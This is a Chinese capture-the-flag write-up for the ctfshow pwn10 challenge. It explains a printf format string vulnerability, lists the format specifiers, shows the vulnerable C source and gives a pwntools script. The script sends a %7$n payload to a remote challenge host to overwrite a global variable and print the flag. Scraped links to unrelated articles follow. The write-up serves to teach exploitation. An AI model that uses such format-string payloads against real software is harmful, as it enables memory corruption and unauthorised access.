格式化字符串漏洞

具体什么是格式化字符串请大家参考如下文章

https://wiki.x10sec.org/pwn/fmtstr/fmtstr_intro/

printf函数格式化输出符号及详细说明

原文地址:https://blog.csdn.net/xiexievv/article/details/6831194
%a  浮点数、十六进制数字和p-记数法(c99
%A 浮点数、十六进制数字和p-记法(c99)
%c 一个字符(char)
%C  一个ISO宽字符
%d 有符号十进制整数(int)(%ld、%Ld:长整型数据(long),%hd:输出短整形。) 
%e 浮点数、e-记数法
%E 浮点数、E-记数法
%f 单精度浮点数(默认float)、十进制记数法(%.nf  这里n表示精确到小数位后n位.十进制计数)
%g 根据数值不同自动选择%f或%e.
%G 根据数值不同自动选择%f或%e.
%i  有符号十进制数(与%d相同)
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置
%o 无符号八进制整数
%p 指针
%s 对应字符串char*(%s = %hs = %hS 输出 窄字符)
%S 对应宽字符串WCAHR*(%ws = %S 输出宽字符串)
%u 无符号十进制整数(unsigned int)
%x 使用十六进制数字0xf的无符号十六进制整数 
%X 使用十六进制数字0xf的无符号十六进制整数
%% 打印一个百分号
%I64d 用于INT64 或者 long long
%I64u 用于UINT64 或者 unsigned long long
%I64x 用于64位16进制数据
%m.n : m指域宽,即对应的输出项在输出设备上所占的字符数。n指精度。用于说明输出的实型数的小数位数。为指定n时,隐含的精度为n=6位。
l 对整型指long型,对实型指double型。h用于将整型的格式字符修正为short型。

题目源码

#include <stdio.h>
int num = 0;
int main() {
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
char str[100];
printf("try pwn me?\n");
scanf("%s", str);
printf(str);
if (num == 16)
{
system("cat flag");
}
else
{
printf("You may need to keep learning!");
}
return 0;
}

解题

分析

定义了一个全局变量num
str存在溢出
只有一个格式化字符串漏洞
利用漏洞更改num的数值
最终达到输出flag的目的

测试偏移量

可以得到偏移量为7

编写脚本

from pwn import *

p = remote('124.156.121.112',28053)
#p = process("./pwn10")
num_addr = 0x0804A030
payload = p32(num_addr)+"aaaaaaaaaaaa%7$n"
p.sendline(payload)
p.interactive()

测试



ctfshow—pwn10的更多相关文章

  1. ctfshow之Web入门刷题记(从89开始,持续更新)

    0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...

  2. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  3. c通过ctfshow学习php反序列化

    web254 web255 web256 web257 web258 web259 web260 web262 web263 web264 web265 web266 web254 error_rep ...

  4. ctfshow——web_AK赛

    签到_观己 从题目描述中没发现什么有用的信息 发现文件包含 尝试使用PHP伪协议执行命令,发现无法执行 尝试使用远程文件包含,发现也未开启 尝试使用日志注入 记录了UA值,抓包写入一句话木马 使用蚁剑 ...

  5. ctfshow WEB入门 信息收集 1-20

    web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...

  6. ctfshow萌新 web1-7

    ctfshow萌新 web1 1.手动注入.需要绕过函数inval,要求id不能大于999且id=1000,所以用'1000'字符代替数字1000 2.找到?id=" "处有回显 ...

  7. ctfshow web2 web3

    ctfshow web2 1.手动注入题.先用万能密码admin' or 1=1%23,有回显 2.union select注入,2处有回显 3.依次查找数据库.表.字段 得到flag ctfshow ...

  8. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  9. CTFshow——funnyrsa1的wp理解

    题目如下: 题目分析: 拿到题,发现给的e不常规,p1和p2相等,有两个不同n,两个不同c和两个不同e.给定两个密文的情况下,通常需要找到两者之间存在的关系,"合并"密文求解才能得 ...

随机推荐

  1. Maven项目中配置jdk版本

    <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> ...

  2. mysqldump备份数据

    create database test; use test; create table test(id int,name char(8)); insert into test values(1,'p ...

  3. layui的基本使用

    打开官网https://www.layui.com/下载这个框架 官网首页 下载到 layui 的最新版,它经过了自动化构建,更适合用于生产环境.目录结构如下 ├─css //css目录 │ │─mo ...

  4. 学Python编程能做什么工作?从事什么岗位?——这些问题你知道吗?

    前言 学Python编程能做什么工作?随着人工智能发展,学习python语言的人员有更多的岗位机会,python从事的职业广泛,从游戏到AI人工智能能都可以用Python实现.除了编程,各种岗位的人都 ...

  5. matplotlib的学习10-Contours 等高线图

    import matplotlib.pyplot as plt import numpy as np ''' 画等高线 数据集即三维点 (x,y) 和对应的高度值,共有256个点. 高度值使用一个 h ...

  6. linux -bash: unzip: 未找到命令(实测有效!)

    今天使用linux解压的时候遇到了不能解压的问题,然后就看了一些文档,写一个解决方案 Linux version 3.10.0-957.10.1.el7.x86_64 (mockbuild@kbuil ...

  7. 一场由fork引发的超时,让我们重新探讨了Redis的抖动问题

    摘要:一次由fork引发的时延抖动问题. 背景介绍 华为云数据库GaussDB(for Redis) 是一款基于计算存储分离架构,兼容Redis生态的云原生NoSQL数据库:它依靠共享存储池实现了强一 ...

  8. JXL封装不能使用static关键字问题

    最近要做一个Excel导出的功能,由于文件不大,涉及到了很多Excel表格样式和公式计算,我采用了JXL的方式导出.由于逻辑大多是金额,所以我在封装JXL的时候写了两个静态final变量,代码如下: ...

  9. 1.Redis基础命令

    重要概念 redis是单线程模型,所有命令都会进入一个队列,然后依次被执行. 全局命令 >>>select dbindex #切换数据库,默认有16个库,库标识符为0-15 > ...

  10. git 清除本地git commit的内容

    由于我经常git add . , 然后再git commit -m "文字说明",这样有时候代码嵌套再另一个项目里面,就会把外面的项目一起提交了,导致提交的代码不是我想要的.小菜鸟 ...